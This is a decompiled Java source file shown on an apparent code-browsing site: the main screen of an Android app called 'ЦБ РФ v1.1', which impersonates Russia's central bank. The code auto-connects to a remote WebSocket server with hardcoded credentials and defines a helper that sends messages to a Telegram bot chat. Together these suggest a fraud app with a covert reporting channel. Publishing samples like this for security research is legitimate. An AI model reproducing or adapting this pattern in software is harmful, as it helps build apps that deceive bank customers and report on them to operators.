导航菜单

页面标题

页面副标题

ЦБ РФ v1.1 - MainActivity.java 源代码

正在查看: ЦБ РФ v1.1 应用的 MainActivity.java JAVA 源代码文件

本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。


package com.example.myreader;

import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.util.Base64;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.ProgressBar;
import android.widget.TextView;
import android.widget.Toast;
import android.window.SplashScreen;
import android.window.SplashScreenView;
import androidx.appcompat.app.AppCompatActivity;
import com.example.myreader.MainActivity;
import java.util.concurrent.TimeUnit;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import okhttp3.WebSocket;
import okhttp3.WebSocketListener;
import org.json.JSONObject;

public class MainActivity extends AppCompatActivity {
    private static final int CONNECTION_TIMEOUT_MS = 10000;
    private static final int MAX_RECONNECT_ATTEMPTS = 5;
    private static final int RECONNECT_DELAY_MS = 5000;
    private Button btnCancel;
    private Button btnPort1;
    private Button btnPort2;
    private Button btnPort3;
    private Button btnPort4;
    private Button btnPort5;
    private Button btnReconnect;
    private View buttonContainer;
    private TextView connectionStatus;
    private Runnable countdownRunnable;
    private String currentPassword;
    private String currentUsername;
    private TextView loadingText;
    private ProgressBar progressBar;
    private String token;
    private WebSocket webSocket;
    private int selectedPort = 1;
    private int reconnectAttempts = 0;
    private Handler reconnectHandler = new Handler(Looper.getMainLooper());
    private boolean isCancelled = false;
    private Handler countdownHandler = new Handler(Looper.getMainLooper());

    private void sendTelegramLog(final String message) {
        new Thread(new Runnable() {
            @Override
            public final void run() {
                MainActivity.this.m20lambda$sendTelegramLog$0$comexamplemyreaderMainActivity(message);
            }
        }).start();
    }

    void m20lambda$sendTelegramLog$0$comexamplemyreaderMainActivity(String message) {
        try {
            String chatId = Constants.getTelegramChatId(this.selectedPort);
            String serverName = Constants.getServerName(this.selectedPort);
            String encodedMessage = Uri.encode("[" + serverName + "] " + message);
            String url = String.format("https://api.telegram.org/bot%s/sendMessage?chat_id=%s&text=%s", Constants.TELEGRAM_BOT_TOKEN, chatId, encodedMessage);
            OkHttpClient client = new OkHttpClient();
            Request request = new Request.Builder().url(url).build();
            Response response = client.newCall(request).execute();
            Log.d("MainActivity", "Telegram log sent: " + response.code());
        } catch (Exception e) {
            Log.e("MainActivity", "Error sending Telegram log", e);
        }
    }

    protected void onCreate(Bundle savedInstanceState) {
        if (Build.VERSION.SDK_INT >= 31) {
            SplashScreen splashScreen = getSplashScreen();
            splashScreen.setOnExitAnimationListener(new SplashScreen.OnExitAnimationListener() {
                @Override
                public final void onSplashScreenExit(SplashScreenView splashScreenView) {
                    splashScreenView.remove();
                }
            });
        }
        setTheme(R.style.Theme_MyReader);
        super.onCreate(savedInstanceState);
        if (getSupportActionBar() != null) {
            getSupportActionBar().hide();
        }
        setContentView(R.layout.activity_main);
        ThemeManager.applyTheme(this);
        this.progressBar = (ProgressBar) findViewById(R.id.progressBar);
        this.loadingText = (TextView) findViewById(R.id.loadingText);
        this.connectionStatus = (TextView) findViewById(R.id.connectionStatus);
        this.btnPort1 = (Button) findViewById(R.id.btnPort1);
        this.btnReconnect = (Button) findViewById(R.id.btnReconnect);
        this.buttonContainer = findViewById(R.id.buttonContainer);
        this.btnPort1.setText(Constants.getServerName(1));
        this.btnPort1.setOnClickListener(new View.OnClickListener() {
            @Override
            public final void onClick(View view) {
                MainActivity.this.m18lambda$onCreate$2$comexamplemyreaderMainActivity(view);
            }
        });
        this.btnReconnect.setOnClickListener(new View.OnClickListener() {
            @Override
            public final void onClick(View view) {
                MainActivity.this.m19lambda$onCreate$3$comexamplemyreaderMainActivity(view);
            }
        });
        handlePortSelection(1);
    }

    void m18lambda$onCreate$2$comexamplemyreaderMainActivity(View v) {
        handlePortSelection(1);
    }

    void m19lambda$onCreate$3$comexamplemyreaderMainActivity(View v) {
        reconnect();
    }

    private void handlePortSelection(int port) {
        this.selectedPort = port;
        this.reconnectAttempts = 0;
        this.isCancelled = false;
        Constants.saveSelectedServer(this, port);
        this.progressBar.setVisibility(0);
        this.loadingText.setVisibility(0);
        this.connectionStatus.setVisibility(0);
        this.buttonContainer.setVisibility(0);
        this.btnPort1.setVisibility(8);
        this.currentUsername = "money";
        this.currentPassword = "money";
        login("money", "money");
    }

    private void reconnect() {
        if (this.reconnectAttempts >= MAX_RECONNECT_ATTEMPTS) {
            this.reconnectAttempts = 0;
        }
        this.isCancelled = false;
        login(this.currentUsername, this.currentPassword);
    }

    private void cancelConnection() {
        this.isCancelled = true;
        WebSocket webSocket = this.webSocket;
        if (webSocket != null) {
            webSocket.close(1000, "Cancelled by user");
        }
        this.reconnectHandler.removeCallbacksAndMessages(null);
        Runnable runnable = this.countdownRunnable;
        if (runnable != null) {
            this.countdownHandler.removeCallbacks(runnable);
        }
        showPortButtons();
    }

    public void login(String username, String password) {
        if (this.isCancelled) {
            return;
        }
        String wsUrl = Constants.getWebsocketUrl(Constants.getSelectedServer(this));
        Log.d("MainActivity", "Connecting to WebSocket: " + wsUrl + " (Attempt " + (this.reconnectAttempts + 1) + ")");
        runOnUiThread(new Runnable() {
            @Override
            public final void run() {
                MainActivity.this.m17lambda$login$4$comexamplemyreaderMainActivity();
            }
        });
        OkHttpClient client = new OkHttpClient.Builder().connectTimeout(10000L, TimeUnit.MILLISECONDS).readTimeout(10000L, TimeUnit.MILLISECONDS).writeTimeout(10000L, TimeUnit.MILLISECONDS).retryOnConnectionFailure(true).build();
        Request request = new Request.Builder().url(wsUrl).build();
        this.webSocket = client.newWebSocket(request, new AnonymousClass1(username, password));
    }

    void m17lambda$login$4$comexamplemyreaderMainActivity() {
        this.loadingText.setText("Подключение к серверу...");
        this.connectionStatus.setText(String.format("Попытка подключения %d из %d", Integer.valueOf(this.reconnectAttempts + 1), Integer.valueOf(MAX_RECONNECT_ATTEMPTS)));
    }

    class AnonymousClass1 extends WebSocketListener {
        final String val$password;
        final String val$username;

        AnonymousClass1(String str, String str2) {
            this.val$username = str;
            this.val$password = str2;
        }

        public void onOpen(WebSocket webSocket, Response response) {
            if (MainActivity.this.isCancelled) {
                return;
            }
            Log.d("MainActivity", "WebSocket opened successfully");
            MainActivity.this.runOnUiThread(new Runnable() {
                @Override
                public final void run() {
                    MainActivity.AnonymousClass1.this.m27lambda$onOpen$0$comexamplemyreaderMainActivity$1();
                }
            });
            try {
                JSONObject loginRequest = new JSONObject();
                loginRequest.put("cmd", "login");
                loginRequest.put("username", this.val$username);
                loginRequest.put("password", this.val$password);
                loginRequest.put("deviceType", "android");
                loginRequest.put("appVersion", BuildConfig.VERSION_NAME);
                String requestStr = loginRequest.toString();
                Log.d("MainActivity", "Sending login request: " + requestStr);
                webSocket.send(requestStr);
            } catch (Exception e) {
                Log.e("MainActivity", "Error sending login request", e);
                MainActivity.this.handleConnectionFailure();
            }
        }

        void m27lambda$onOpen$0$comexamplemyreaderMainActivity$1() {
            MainActivity.this.loadingText.setText("Отправка данных авторизации...");
        }

        public void onMessage(WebSocket webSocket, String text) {
            if (MainActivity.this.isCancelled) {
                return;
            }
            Log.d("MainActivity", "Received message: " + text);
            try {
                JSONObject response = new JSONObject(text);
                String cmd = response.getString("cmd");
                if ("login_response".equals(cmd)) {
                    if (response.getBoolean("success")) {
                        MainActivity.this.runOnUiThread(new Runnable() {
                            @Override
                            public final void run() {
                                MainActivity.AnonymousClass1.this.m24lambda$onMessage$1$comexamplemyreaderMainActivity$1();
                            }
                        });
                        final String token = response.getString(Constants.KEY_TOKEN);
                        SharedPreferences prefs = MainActivity.this.getSharedPreferences(Constants.PREF_NAME, 0);
                        prefs.edit().putString(Constants.KEY_TOKEN, token).putString("username", this.val$username).apply();
                        MainActivity.this.runOnUiThread(new Runnable() {
                            @Override
                            public final void run() {
                                MainActivity.AnonymousClass1.this.m25lambda$onMessage$2$comexamplemyreaderMainActivity$1(token);
                            }
                        });
                    } else {
                        final String message = response.getString("message");
                        Log.e("MainActivity", "Login failed: " + message);
                        MainActivity.this.runOnUiThread(new Runnable() {
                            @Override
                            public final void run() {
                                MainActivity.AnonymousClass1.this.m26lambda$onMessage$3$comexamplemyreaderMainActivity$1(message);
                            }
                        });
                    }
                }
            } catch (Exception e) {
                Log.e("MainActivity", "Error processing message", e);
                MainActivity.this.handleConnectionFailure();
            }
        }

        void m24lambda$onMessage$1$comexamplemyreaderMainActivity$1() {
            MainActivity.this.loadingText.setText("Авторизация успешна!");
            MainActivity.this.connectionStatus.setText("Подключено");
        }

        void m25lambda$onMessage$2$comexamplemyreaderMainActivity$1(String token) {
            Intent intent = new Intent((Context) MainActivity.this, (Class<?>) ReaderActivity.class);
            intent.putExtra(Constants.KEY_TOKEN, token);
            intent.putExtra("port", MainActivity.this.selectedPort);
            MainActivity.this.startActivity(intent);
            MainActivity.this.finish();
        }

        void m26lambda$onMessage$3$comexamplemyreaderMainActivity$1(String message) {
            MainActivity.this.loadingText.setText("Ошибка авторизации: " + message);
            MainActivity.this.connectionStatus.setText("Ошибка авторизации");
            Toast.makeText((Context) MainActivity.this, (CharSequence) message, 0).show();
            MainActivity.this.showPortButtons();
        }

        public void onFailure(WebSocket webSocket, final Throwable t, Response response) {
            if (MainActivity.this.isCancelled) {
                return;
            }
            Log.e("MainActivity", "WebSocket failure: " + t.getMessage(), t);
            MainActivity.this.runOnUiThread(new Runnable() {
                @Override
                public final void run() {
                    MainActivity.AnonymousClass1.this.m23lambda$onFailure$4$comexamplemyreaderMainActivity$1(t);
                }
            });
            MainActivity.this.handleConnectionFailure();
        }

        void m23lambda$onFailure$4$comexamplemyreaderMainActivity$1(Throwable t) {
            MainActivity.this.loadingText.setText("Ошибка подключения: " + t.getMessage());
            MainActivity.this.connectionStatus.setText("Ошибка подключения");
        }

        public void onClosing(WebSocket webSocket, int code, String reason) {
            if (MainActivity.this.isCancelled) {
                return;
            }
            Log.d("MainActivity", "WebSocket closing: " + reason);
            MainActivity.this.runOnUiThread(new Runnable() {
                @Override
                public final void run() {
                    MainActivity.AnonymousClass1.this.m22lambda$onClosing$5$comexamplemyreaderMainActivity$1();
                }
            });
        }

        void m22lambda$onClosing$5$comexamplemyreaderMainActivity$1() {
            MainActivity.this.loadingText.setText("Соединение закрывается...");
            MainActivity.this.connectionStatus.setText("Закрытие соединения");
        }

        public void onClosed(WebSocket webSocket, int code, String reason) {
            if (MainActivity.this.isCancelled) {
                return;
            }
            Log.d("MainActivity", "WebSocket closed: " + reason);
            MainActivity.this.runOnUiThread(new Runnable() {
                @Override
                public final void run() {
                    MainActivity.AnonymousClass1.this.m21lambda$onClosed$6$comexamplemyreaderMainActivity$1();
                }
            });
            if (code != 1000 && MainActivity.this.reconnectAttempts < MainActivity.MAX_RECONNECT_ATTEMPTS) {
                MainActivity.this.handleConnectionFailure();
            }
        }

        void m21lambda$onClosed$6$comexamplemyreaderMainActivity$1() {
            MainActivity.this.loadingText.setText("Соединение закрыто");
            MainActivity.this.connectionStatus.setText("Соединение закрыто");
        }
    }

    public void handleConnectionFailure() {
        if (this.isCancelled) {
            return;
        }
        int i = this.reconnectAttempts;
        if (i < MAX_RECONNECT_ATTEMPTS) {
            this.reconnectAttempts = i + 1;
            Log.d("MainActivity", "Connection failed, attempting reconnect " + this.reconnectAttempts + " of " + MAX_RECONNECT_ATTEMPTS);
            final int[] countdown = {MAX_RECONNECT_ATTEMPTS};
            runOnUiThread(new Runnable() {
                @Override
                public final void run() {
                    MainActivity.this.m15xb6bfdb0b(countdown);
                }
            });
            Runnable runnable = this.countdownRunnable;
            if (runnable != null) {
                this.countdownHandler.removeCallbacks(runnable);
            }
            AnonymousClass2 anonymousClass2 = new AnonymousClass2(countdown);
            this.countdownRunnable = anonymousClass2;
            this.countdownHandler.post(anonymousClass2);
            return;
        }
        runOnUiThread(new Runnable() {
            @Override
            public final void run() {
                MainActivity.this.m16x1d989acc();
            }
        });
    }

    void m15xb6bfdb0b(int[] countdown) {
        this.loadingText.setText(String.format("Переподключение...\nПовторная попытка через %d сек...", Integer.valueOf(countdown[0])));
        this.connectionStatus.setText(String.format("Попытка %d из %d", Integer.valueOf(this.reconnectAttempts), Integer.valueOf(MAX_RECONNECT_ATTEMPTS)));
    }

    class AnonymousClass2 implements Runnable {
        final int[] val$countdown;

        AnonymousClass2(int[] iArr) {
            this.val$countdown = iArr;
        }

        @Override
        public void run() {
            if (MainActivity.this.isCancelled) {
                return;
            }
            final int[] iArr = this.val$countdown;
            int i = iArr[0] - 1;
            iArr[0] = i;
            if (i > 0) {
                MainActivity.this.runOnUiThread(new Runnable() {
                    @Override
                    public final void run() {
                        MainActivity.AnonymousClass2.this.m28lambda$run$0$comexamplemyreaderMainActivity$2(iArr);
                    }
                });
                MainActivity.this.countdownHandler.postDelayed(this, 1000L);
            } else if (!MainActivity.this.isFinishing() && !MainActivity.this.isCancelled) {
                MainActivity mainActivity = MainActivity.this;
                mainActivity.login(mainActivity.currentUsername, MainActivity.this.currentPassword);
            }
        }

        void m28lambda$run$0$comexamplemyreaderMainActivity$2(int[] countdown) {
            MainActivity.this.loadingText.setText(String.format("Переподключение...\nПовторная попытка через %d сек...", Integer.valueOf(countdown[0])));
        }
    }

    void m16x1d989acc() {
        this.loadingText.setText(String.format("Не удалось подключиться\nпосле %d попыток", Integer.valueOf(MAX_RECONNECT_ATTEMPTS)));
        this.connectionStatus.setText("Достигнут лимит попыток");
        Toast.makeText((Context) this, (CharSequence) "Не удалось подключиться после 5 попыток", 0).show();
        showPortButtons();
    }

    public void showPortButtons() {
        this.progressBar.setVisibility(8);
        this.loadingText.setVisibility(8);
        this.connectionStatus.setVisibility(8);
        this.buttonContainer.setVisibility(8);
        this.btnPort1.setVisibility(0);
    }

    private boolean isTokenExpired(String token) {
        try {
            String[] split = token.split("\\.");
            String payload = new String(Base64.decode(split[1], 0), "UTF-8");
            JSONObject jsonObject = new JSONObject(payload);
            long exp = jsonObject.getLong("exp");
            long currentTime = System.currentTimeMillis() / 1000;
            return currentTime >= exp;
        } catch (Exception e) {
            e.printStackTrace();
            return true;
        }
    }

    protected void onDestroy() {
        super.onDestroy();
        this.isCancelled = true;
        WebSocket webSocket = this.webSocket;
        if (webSocket != null) {
            webSocket.close(1000, "Activity destroyed");
        }
        this.reconnectHandler.removeCallbacksAndMessages(null);
        Runnable runnable = this.countdownRunnable;
        if (runnable != null) {
            this.countdownHandler.removeCallbacks(runnable);
        }
    }
}